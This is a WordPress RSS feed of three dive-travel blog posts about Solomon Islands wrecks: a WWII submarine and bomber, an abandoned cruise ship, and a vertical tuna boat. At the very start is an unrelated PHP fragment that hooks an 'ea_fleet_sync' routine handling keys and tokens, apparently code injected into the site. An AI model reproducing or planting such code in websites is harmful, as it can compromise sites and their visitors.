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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Solomon Islands - Drenched Productions https://drenchedproductions.com - Expedition Drenched Sun, 06 Nov 2022 16:29:02 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://i0.wp.com/drenchedproductions.com/wp-content/uploads/2021/05/cropped-Expedition-Drenched-TRANSPARENT-BACKGROUND_3.png?fit=32%2C32&ssl=1 Solomon Islands - Drenched Productions https://drenchedproductions.com 32 32 193191625 History in the Solomon Islands – Diving a WW2 Submarine & B17 Flying Fortress Bomber https://drenchedproductions.com/diving-a-ww2-submarine-b17-flying-fortress-bomber/ Sat, 15 Oct 2022 16:24:30 +0000 https://drenchedproductions.com/?p=3049 We SCUBA dive a Japanese sub and an American bomber aeroplane in the Pacific Theatre - Diving World War II history in the Solomon Islands

The post History in the Solomon Islands – Diving a WW2 Submarine & B17 Flying Fortress Bomber first appeared on Drenched Productions.

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Diving a WW2 Submarine & B17 Flying Fortress Bomber | Expedition Drenched

History in the Solomon Islands - Diving a WW2 Submarine & B17 Flying Fortress Bomber

We SCUBA dive a Japanese sub and an American bomber aeroplane in the Pacific Theatre – Diving World War II history in the Solomon Islands

They say that loose lips sink ships – but so do guns and wars!

This season of Expedition Drenched has brought our crew to (probably) the most beautiful place on earth, both above and below the water. The crystal-clear, warm, turquoise waters gave us almost too many excellent SCUBA dives to count and the lush green hills of the Solomon Islands introduced us to village after village of friendly and welcoming locals.

The Expedition Drenched crew spends a lot of time fighting to keep man-made things out of our ocean waters, but sometimes these things get into the water anyway. Wars around the world have left an untold number of shipwrecks and aeroplane wrecks on the ocean floor. One war, in particular, left a huge impact on the South Pacific – World War II.

The fighting in the Pacific Theatre during WWII was intense and a good deal of it was centred around the Guadalcanal area. So while we’re here we just had to strap on our SCUBA equipment and jump in to check out some of the wreckage left behind from the worst war in human history.

Guadalcanal - War Erupts in Paradise

Guadalcanal is the largest island in the Solomon Islands by area and the second most populated. It is a tropical paradise with deep blue and turquoise waters surrounding lush green flatlands and jungle-covered mountains. The tallest peak in the Solomon Islands is on Guadalcanal too.

Despite Guadalcanal and the rest of the Solomon Islands being one of the most idyllic places on earth, this area of the world saw some of the most intense battles during WWII. It was an extremely important strategic outpost in the Pacific Theatre for both the Allied forces and the Japanese.

At the beginning of 1942, Japanese forces landed in the Solomon Islands and New Guinea. Their goal was two-fold: to build a naval base that could protect the Japanese offensive and to create bases that could break supply lines for the Allied forces. The Allied forces didn’t really like this Japanese tactic and they launched their Guadalcanal campaign on August 7, 1942.  The fighting was bloody and drawn out, but eventually, the Allies were able to stop the Japanese by inflicting terrible losses on their military assets. While the Japanese kept resisting and engaging in the odd, isolated battle, the Allies were able to reclaim many of the Solomon Islands and neutralize strategic Japanese positions.

Japanese I-1 Submarine

The I-1 type of Japanese submarine was a large cruiser sub and was the lead unit of the four submarines in her class. The specific I-1 sub that we were looking to dive was originally commissioned in 1926 and she has one heck of a history. 

This submarine served in the Second Sino-Japanese War and WWII. During the latter, she supported the attack on Pearl Harbor, ran anti-shipping patrols in the Indian Ocean, and participated in the Aleutian Islands campaign and the Guadalcanal campaign. This particular submarine was no stranger to combat and was pretty lucky during her lifetime – until her mission near Guadalcanal where she was attacked by two New Zealand warships, the HMNZS Moa and Kiwi.

  • Dive Type: Submarine wreck
  • Date Wrecked: January 29, 1943
  • Depth: Minimum –  10m, maximum –  25m
  • Location: Near the village of Tambea – Honiara, Guadalcanal, Solomon Islands

The Moa and the Kiwi began patrolling the Guadalcanal area on December 19, 1942, and on the night of January 29, 1943, they found themselves near the Kamimbo Bay area of Guadalcanal, a Japanese-controlled area. The I-1 sub surfaced and headed for the port but was spotted by the Moa and the Kiwi. 

HMNZS MOA | Expedition Drenched
HMNZ Moa | Expedition Drenched

A heavy battle ensued and the sub submerged itself to avoid the powerful guns on the two attacking ships. But, not only did the ocean not give her a safe place to hide, but the ocean also gave away her position. The large submarine was moving through bioluminescent plankton-filled water that lit up the underwater vessel for the attacking forces to clearly see. The New Zealand warships took advantage of this natural help and dropped depths charges that successfully brought the I-1 back up to the surface. The Kiwi rammed the submarine three times and eventually ran it aground on a shallow reef near the shore where it still sits today.  

What is Bioluminescence?

Bioluminescence is one of the most amazing phenomena in the natural world. It’s a process where a living organism is capable of producing certain chemicals that produce light. That’s right. Bioluminescent creatures come with their own lightbulbs. 

The most well-known example of bioluminescence is fireflies. Also known as glowworms or lightning bugs, fireflies are soft-bodied beetles that live in the marshes and wooded areas of temperate and tropical climates. They have specialized cells in their abdomens that allow them to produce light. The entire chemical process that occurs within these cells is super complex but essentially the cells contain chemicals that produce light when exposed to oxygen. Believe it or not, a firefly can also control the beginning and end of the chemical reaction. It can turn its light on and off by allowing or disallowing oxygen access to the cells. 

While fireflies might be the most common example of bioluminescence in the natural world, the majority of creatures who are bioluminescent live in the oceans. From tiny little bacteria to large predatory sharks, the examples of marine bioluminescence are endless and extraordinary. Not only does the bioluminescence adaptation exist throughout the entire range of marine organisms, but it’s also found in all marine habitats from the surface to the deep sea floor. 

The bioluminescence that gave away the I-1 submarine’s position occurred in the surface waters and was generated by a bloom of plankton. It might seem crazy that a bloom of microscopic creatures can produce enough light to give away the position of a well-designed submarine, but it’s true. As the plankton are disturbed in their watery home, they become bioluminescent to (it’s believed) deter any more interaction from a potential predator. 

SCUBA divers often take advantage of this apparent defence mechanism to give themselves a little fun when they’re diving at night. If you turn off your underwater torch during a night dive so that it’s as dark in the water as it can be, then move your arms around rapidly, things in the water will start to glow. The small organisms in the water begin to produce light because they believe the rapid change of water movements is a danger to them.

The Submarine That Exploded Twice

After the Japanese I-1 submarine ran aground on a reef, the surviving Japanese soldiers abandoned the ship, leaving everything behind. The submarine’s commander, Lt. Koreeda, quickly realized that during the evacuation, they’d left behind things that could be very useful to the Allies – like code books, charts, lists of Japanese marine designations, future military plans, and more. He knew that they had to go back to the stricken submarine.

During the night of February 2, 1943, Lt. Koreeda, two junior officers, five crew members, and eleven other Japanese sailors returned to the I-1 sub-armed with depth charges that they hoped would destroy the vessel. The charges weren’t quite strong enough but they did do enough damage to make most salvage attempts useless. Not all attempts, however. The Americans were able to retrieve a code book from the destroyed I-1 sub that eventually allowed them to crack the Japanese code.

Diving an American B17 Bomber Airplane

It’s estimated that there are 200 shipwrecks and 690 aeroplane wrecks in the Guadalcanal area. That’s a lot of history hidden beneath the waves! We couldn’t bear sailing to such a history-filled area and only diving one of the WWII wrecks. After exploring the Japanese submarine, we piloted our little boat over to an American B17 bomber just offshore from the village of Ndomo.

  • Dive Type: American B17 bomber wreck
  • Date Wrecked: September 24, 1942
  • Depth: Minimum –  9m, maximum –  18m
  • Location: Near the village of Ndomo – Vilu, Guadalcanal, Solomon Islands

This particular aeroplane wreck is a Boeing B17 ‘Flying Fortress’ Bomber originally built in Seattle, Washington. The plane was affectionately called Bessie by its crew. In September 1942, Bessie was relocated to Henderson Airbase in Guadalcanal. On the 24th of that month, she took part in a bombing mission to Tonolei in New Guinea to destroy a Japanese seabase. 

During the bombing raid, Bessie was heavily attacked by Japanese Zeros (a type of fighter plane). She was in rough shape and she tried desperately to return to Guadalcanal, but she didn’t make it. She ditched at sea a mere 180m from the shore, 30km inside a Japanese-controlled area. 

Bessie’s captain was badly injured in the crash but managed to make it to shore and evade capture by the Japanese for six days. A gunner also survived the crash and managed to escape capture. His remains were found in the Guadalcanal hills after the Japanese retreated. The fates of the other crew members remain a mystery.

The final resting place for this proud American aircraft is a patch of black volcanic sand sitting on the fringes of a lush coral reef. She’s missing her tail but otherwise, she’s still intact with her four large engines still hanging from the wings and seats still attached in the cockpit. The wreck is now crusted in brightly-coloured corals and sponges and its aluminium alloy construction means that it’s been able to withstand the corrosive effects of an eternity at sea. It still looks just like an aeroplane!

The marine life that call the waters of the South Pacific home didn’t ask for war and certainly were not part of the conflict that brought so many countries to arms. WWII was destructive on land and also on our seas. Years of constant fighting, explosions, fuel spills and metal vessels littering the ocean floor brought havoc to the marine world. SCUBA diving on these WWII wrecks really helped the Expedition Drenched crew to remember a very uncertain time in the history of the world, but it also reminded us that the marine environment is capable of regrowth and regeneration. Just look at all the coral and life that you can find on these historical wrecks.

Happy (history) bubbles! 

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Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

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The post History in the Solomon Islands – Diving a WW2 Submarine & B17 Flying Fortress Bomber first appeared on Drenched Productions.

]]> 3049 Sailing the Solomon Islands for a Ghost Abandoned Cruise Ship – World Discoverer Shipwreck https://drenchedproductions.com/sailing-the-solomon-islands-for-a-ghost-abandoned-cruise-ship-world-discoverer-shipwreck/ https://drenchedproductions.com/sailing-the-solomon-islands-for-a-ghost-abandoned-cruise-ship-world-discoverer-shipwreck/#comments Sun, 21 Aug 2022 22:56:11 +0000 https://drenchedproductions.com/?p=2825 We sailed to the Solomon Islands to find a ghost cruise ship abandoned in a tropical paradise. We found the MS World Discoverer, and we swam right in!

The post Sailing the Solomon Islands for a Ghost Abandoned Cruise Ship – World Discoverer Shipwreck first appeared on Drenched Productions.

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Sailing the Solomon Islands for a Ghost Abandoned Cruise Ship - World Discoverer Shipwreck

Sailing the Solomon Islands for a Ghost Abandoned Cruise Ship - World Discoverer Shipwreck

Expedition Drenched

21 August 2022

We sailed to the Solomon Islands to find a ghost cruise ship abandoned in a tropical paradise. We found the MS World Discoverer, and we swam right in!

The first season of Expedition Drenched sent us sailing towards the Solomon Islands and one of our most memorable shipwrecks. Resting at a roughly 45-degree angle, nestled up against the coral–dotted shoreline in Roderick Bay, the MS World Discoverer is slowly being destroyed by the nature that forced it aground. While it’s not nearly as large as the cruise ships we see on the oceans these days, the abandoned cruise ship is still a huge, imposing sight in the remote, tropical Solomon wilderness. 

After a quick stop to clear the Solomon Islands immigration process, we continued towards the Nggela Islands, also known as the Florida Islands, and the recorded location for the MS World Discoverer. 

Our first impressions of Roderick Bay included words that are usually bleeped out in our YouTube videos, but we couldn’t help ourselves when our eyes actually saw the indescribable beauty of this little tropical hideaway. The shoreline of Nggela Sule Island was lined with towering palm trees that were blowing gently in the warm island breeze while locals paddled past in their traditional, hand-carved canoes. Our floating home, the Sylfia, looked almost high-tech as she sailed through the scene from ages past. 

But then, as we sailed around the corner into Roderick Bay, there was this huge, rusted shipwreck almost dwarfing the island itself. The contrast between the untouched natural setting of the Solomon Islands and the rusted-out symbol of human advancement was shocking for the Expedition Drenched crew and it’s this contrast that has given the MS World Discoverer a big place in our memories of Expedition Drenched Season 1.

 

Where are the Solomon Islands?

  • Population: 707,851
  • Capital: Honiara
  • Official language: English
  • Government: Constitutional monarchy
  • Area: 28,400 km2
  • Currency: Solomon Islands dollar

The Solomon Islands are roughly 1,800km northwest of Australia, right in the middle of the Oceania region, but the island nation looks like it belongs in the pages of a tropical fairy tale. 

It’s believed that the islands were originally settled somewhere between 30,000 and 28,800 BC, and they remained in this ‘undiscovered’ state until Spanish navigator Alvaro de Mendana visited the islands in 1568. Mendana didn’t give the islands their name, rather it’s believed that they were named ‘the Solomons’ by the people who received word of his voyage and mapped his island discoveries. 

Britain got involved in the Solomon Islands in June 1893 when Captain Gibson of the HMS Curacoa declared the region a British protectorate. The region remained part of the British commonwealth until it was granted independence on July 7, 1978.

Some people may not know exactly where the Solomon Islands are located on a map, but many would recognize its landscape and scenery from several blockbuster World War II movies and TV series. The Solomon Islands campaign raged from 1942 to 1945 and saw some of the fiercest fighting during the second world war. It was here in these clear waters, against this pristine landscape, that the United States and the British Commonwealth clashed violently with the Empire of Japan. 

World War II statistics say that the Solomon Islands campaign cost the Allied Forces roughly 7,100 men, 29 ships, and 615 aircraft. The Empire of Japan was said to have lost 31,000 men, 38 ships, and 683 aircraft. While the history of this area is sombre, the relics left behind make for excellent exploration opportunities for people who love to gear up and SCUBA dive below the waves. It is estimated that there are roughly 200 shipwrecks and 590 submerged aircraft wrecks in the area near where the historic Battle for Guadalcanal occurred. 

But clearly, World War II wrecks aren’t the only thing that the Solomon Islands Archipelago has to offer. While we did do our fair share of diving some of the historic war wrecks, our first official stop in the Solomon Islands was Florida Island, Roderick Bay, and the wreck of the MS World Discoverer.

MS World Discoverer - Before and After the Accident

  • Tonnage: 3,700 tons
  • Passengers: 170
  • Crew: 80
  • Market: Small, niche cruises
  • Amenities: Lounge, library, observation deck, small pool

The MS World Discoverer isn’t the normal military-oriented shipwreck that we tend to be drawn toward, but that doesn’t mean that it doesn’t have an interesting history.

This travel and leisure vessel was originally built in 1974 in a German shipyard but just as it was ready to hit the water, it was purchased by a company called BEWA Cruises and was renamed the BEWA World Discoverer. In 1976, the ship was sold to another tourism company, Adventure Cruises Incorporated, and the name was changed back to the original MS World Discoverer. 

The ship was sold again in 1987 to Society Expedition Cruises and shortly afterwards it was refitted with a hull that could withstand small ice impacts. This meant that the ship could be used for sailing trips around the Arctic and Antarctic. The MS World Discoverer did run special expedition-style trips to the Antarctic and southern Chile regions for adventurous travellers looking to have an unforgettable experience for their holidays.

Even though the MS World Discoverer was outfitted for the extreme conditions in the Arctic and Antarctic, the ship could not run trips in those regions year-round. The reality is that during the winter months those regions become inaccessible for any ship carrying paying passengers. So when the conditions at the poles got worse, the MS World Discoverer would sail to another part of the world and continue to run leisure cruises in better conditions.

This is why the MS World Discoverer found herself in the Solomon Islands in April of 2000, navigating through the Sandfly Passage between Nggela Sule Island and Mbokonimbeti Island. This straight of water belongs to the aptly-named Iron Bottom Sound area of the Solomon Sea. 

Even though the MS World Discoverer was a double-hulled ship that was fully equipped to handle strikes with small icebergs, she began to take on water on April 30, 2000, at roughly 4 pm local time, when she collided with an uncharted reef in the middle of the passage. The captain of the vessel steamed it towards nearby Roderick Bay before the ship could no longer float. 

MS World Discoverer | Expedition Drenched
Captain Oliver Kruess’ quick realization that the ship was in big trouble helped to save the 190 people that were onboard the MS World Discoverer on that fateful day. He quickly radioed for help and local ferries were dispatched to assist the frightened passengers to shore. 

Captain Kruess’ decision to bank the ship along the shoreline in Roderick Bay also had a second purpose – to drop the ship in a location where it wouldn’t sink so that salvaging it later was a possibility. He tucked the rather large boat into a location with a shallow lagoon and extremely calm water to lessen the environmental impact on the steel ship. But the damage to the ship’s hull was too extensive for any quick repairs. Eventually, Society Expedition Cruises decided that the costs of salvaging the stranded vessel would be far greater than their initial investment, so they abandoned the ship to its watery prison.

MS World Discoverer | Expedition Drenched
Over the years, there were other two attempts to salvage the ship but neither was able to right the ship and make it float. Once those attempts were over, it didn’t take long for the villagers living on Nggela Sule Island to remove anything of value from the once-proud, ocean-going vessel. Locals even took the glass windows from the ship so they could be added to village houses. 

A few years after the accident, Society Expedition Cruises filed for bankruptcy and shut down operations. This meant that the abandoned MS World Discoverer now has no legitimate owner and will likely sit in Roderick Bay until the ocean finally takes her back, piece by piece. 

Getting to the Solomon Islands

If you don’t have a trusted sailboat like the Expedition Drenched crew, you can still really easily get yourself over to visit the Solomon Islands and the MS World Discoverer shipwreck. Solomon Airlines, the national airline, flies directly from Sydney and Brisbane to the capital city of Honiara. If you’re coming from Europe or North America, the most common route is via Australia.

If you have time, do make a stop in Australia to enjoy the incredible underwater world around the big Aussie island. Check out our YouTube page to follow our current adventure – sailing over to the stunning Lord Howe Island between Australia and New Zealand. We’re definitely not holding anything back for Expedition Drenched Season 3.

Happy sailing and exploring from all of your Expedition Drenched crews!

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

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The post Sailing the Solomon Islands for a Ghost Abandoned Cruise Ship – World Discoverer Shipwreck first appeared on Drenched Productions.

]]> https://drenchedproductions.com/sailing-the-solomon-islands-for-a-ghost-abandoned-cruise-ship-world-discoverer-shipwreck/feed/ 1 2825 We Dived a Magical Vertical Shipwreck – One of Only TWO in the Whole World! https://drenchedproductions.com/we-dived-a-magical-vertical-shipwreck-one-of-only-two-in-the-whole-world/ https://drenchedproductions.com/we-dived-a-magical-vertical-shipwreck-one-of-only-two-in-the-whole-world/#comments Sun, 10 Jul 2022 17:23:25 +0000 https://drenchedproductions.com/?p=2356 The Expedition Drenched crews have seen some spectacular things but this takes the (pan)cake. We dived a totally VERTICAL shipwreck - 1 of 2 in the whole world!

The post We Dived a Magical Vertical Shipwreck – One of Only TWO in the Whole World! first appeared on Drenched Productions.

]]>
Dive a magical vertical Shipwreck | Expedition Drenched

We Dived a Magical Vertical Shipwreck - One of Only TWO in the Whole World!

Expedition Drenched

10 July 2022

The Expedition Drenched crews have seen some spectacular things but this takes the (pan)cake. We dived a totally VERTICAL shipwreck – 1 of 2 in the whole world!

The Expedition Drenched crew has been lucky enough to see and experience some incredible things over the years. From meeting people from incredible lands, to diving some incredible shipwrecks, to having amazing encounters with some magical marine life – we have been so lucky to be able to live our passion for the oceans in such a life-changing way. 

In our huge library of experiences, some still stand out amongst the others. Our voyage to the Solomon Islands during our first season was definitely one of those experiences. A once-in-a-lifetime trip that will live in our memories, and in the sails we hoist over the Sylfia, for all voyages to come.

While we do love our treasured boat, once in a while we leave her behind and go to shore to wiggle our toes in some beautiful white sand. One of the most magical things about the Solomon Islands is the fact that there aren’t many people around. Sitting on a beach, totally alone,  in the middle of a scattering of some of the most beautiful tropical islands we’ve ever seen was a highlight for our first crew. 

And who doesn’t love to run and play with a friendly pig on such a lovely beach? We loved our relaxing time on that little sand bar but Peanut the pig had an absolute running around and chasing hermit crabs. She snored for days after that. 

But what made this stop on our Solomon Islands voyage so truly memorable wasn’t just the time we spent together in a spectacular location, but also the shipwreck that we specifically came to locate. It’s one of only two shipwrecks in the world that have sunk in totally vertical positions. 

The first wreck is the HMS Victoria which sits in roughly 120 meters of water off the coast of Tripoli in northern Lebanon. The second wreck is the one we came to see – the Taiyo tuna fishing ship that now lives under the waves in the Solomon Islands.

 

Where are the Solomon Islands?

The Solomon Islands are in Oceania, east of Papua New Guinea and northwest of Vanuatu. It’s a sovereign nation that consists of six large islands and over 900 small ones. It was first visited by European explorers in 1568 when Spanish navigator Álvaro de Mendaña directed his ship into the tangle of tropical outcrops. But the islands have been inhabited since at least 30,000-28,800 BCE by indigenous peoples. 

 

Even though the Solomon Islands look like they’re a remote paradise, they’re easy to access with a short(ish) 3-hour flight from Brisbane, Australia. From North America, most travellers depart from Los Angeles towards Brisbane, whereas European travellers will typically have a stopover in Thailand or Hong Kong on their way to Brisbane.

Taiyo Wreck - Forever on Her Heels

We all make mistakes. Some are minor mistakes, some teach us valuable lessons, but others are just big head-slapping mistakes. That’s what happened to the crew of the Taiyo when they ventured into the Solomon Islands and Nono lagoon. 

The Taiyo was a Japanese tuna fishing vessel on its maiden fishing voyage when it picked a fight with the uncharted maze of reefs in the Nono lagoon. Many of the reefs in the area are perched on the top of towering underwater rock walls caused by the volcanic activity that built the area back in ancient history. These walls and their sharp reefs are really dangerous to ship captains that sail into the area.

The Taiyo ran into one of these reefs head-ons and beached itself on the shallow corals. After sitting there for a few days, a salvage effort was launched to free the ship and hopefully repair any damage. The ship was pulled back off the reef but it immediately started to take on water. It sunk with its stern pointed towards the deep and its bow sitting only about a meter below the surface of the turquoise water. 

The ship looks like it could tip over at any moment but it’s actually resting between two parts of the reef. The Taiyo now will spend the rest of its days standing at attention on the edge of the Nono reef under the sun of the South Pacific. 

Now Forever in our Hearts

Our diving experience on the Taiyo was an adventure in and of itself. We boarded our dingy boat from the Sylfia and powered ourselves over the crystal-clear water towards a nearby village. We were on our way to pick up a local friend of ours who knew exactly where the Taiyo wreak was located. For most of the trip, we were entirely distracted by the beauty of the surrounding islands, but all of a sudden our attentions shifted to something beneath the water.

The water in the Solomon Islands is so clear and the Taiyo wreck is so shallow that it can be easily seen from the surface. It’s so visible that a few of our crew members thought the dingy was going to hit the wreck. But we didn’t, we glided over it slowly like we were skating over a moment frozen in time.

Most of the time when you dive into a shipwreck, you descend through the depths to find a shipwreck at the bottom. Because of the depth, you’re usually limited with the amount of time you can spend exploring underwater history. The Taiyo’s vertical position makes this wreck dive different from conventional ones. You can explore the wreck the entire time you’re descending and ascending, even spending your safety stop time combing the sides of the wreck for alien-looking nudibranchs. 

The variety of nudibranchs really sets this wreck apart in our minds too. If you don’t know, a nudibranch is a slug that lives under the water. But they’re fancy slugs. The variety of colours, patterns, shapes, and sizes in the nudibranch community is unparalleled in the natural world. These soft-bodied creatures look like they’ve come from a world where everyone has as much fun as the adventurous Expedition Drenched crew.

Without a doubt, this wreck dive will stand out in your mind for the rest of your life, as it will in ours. Shipwrecks are always a wonderful underwater adventure but the vertical orientation of the Taiyo combined with the stunning clarity of the Solomon Islands water make this dive almost a religious experience. We had an epiphany and her name is Taiyo.

Solomon Island lagoons - Shipwreck Graveyards

The lagoons and reefs of the Solomon Islands are a beautiful sight for the eyes but can be serious dangers for ships and even smaller boats like our Sylfia. As we were coming through the reef to find our spot to shelter for the night, our depth finders reported a depth of 2.5 meters over the reef. The entire crew was sweating buckets for the half-hour it took to squeeze ourselves into the lagoon since the Sylfia’s hull is only 2.5 meters deep.

At roughly 700 sq. km., Marovo lagoon is the second-largest saltwater lagoon in the world. It also contains some of the largest coral reef systems in the entire Solomon Islands because the lagoon is protected by barrier reefs and raised limestone islands. 

Nono lagoon is located on the southwest side of Vangunu Island, just one of several islands in the area that are extinct volcanoes. Like the Marovo lagoon, the Nono lagoon is also protected by its largest quantity of reefs and the surrounding islands that pepper the ocean landscape. 

 

Season 3 of Expedition Drenched is now underway and we are off on another out-of-this-world experience with our third set of ocean-loving crew members. Stay tuned to our YouTube channel for our latest vlogs as we travel to and explore Lord Howe Island nestled in the Pacific Ocean between Australia and New Zealand. As always, it’s going to be a wild adventure!

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

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The post We Dived a Magical Vertical Shipwreck – One of Only TWO in the Whole World! first appeared on Drenched Productions.

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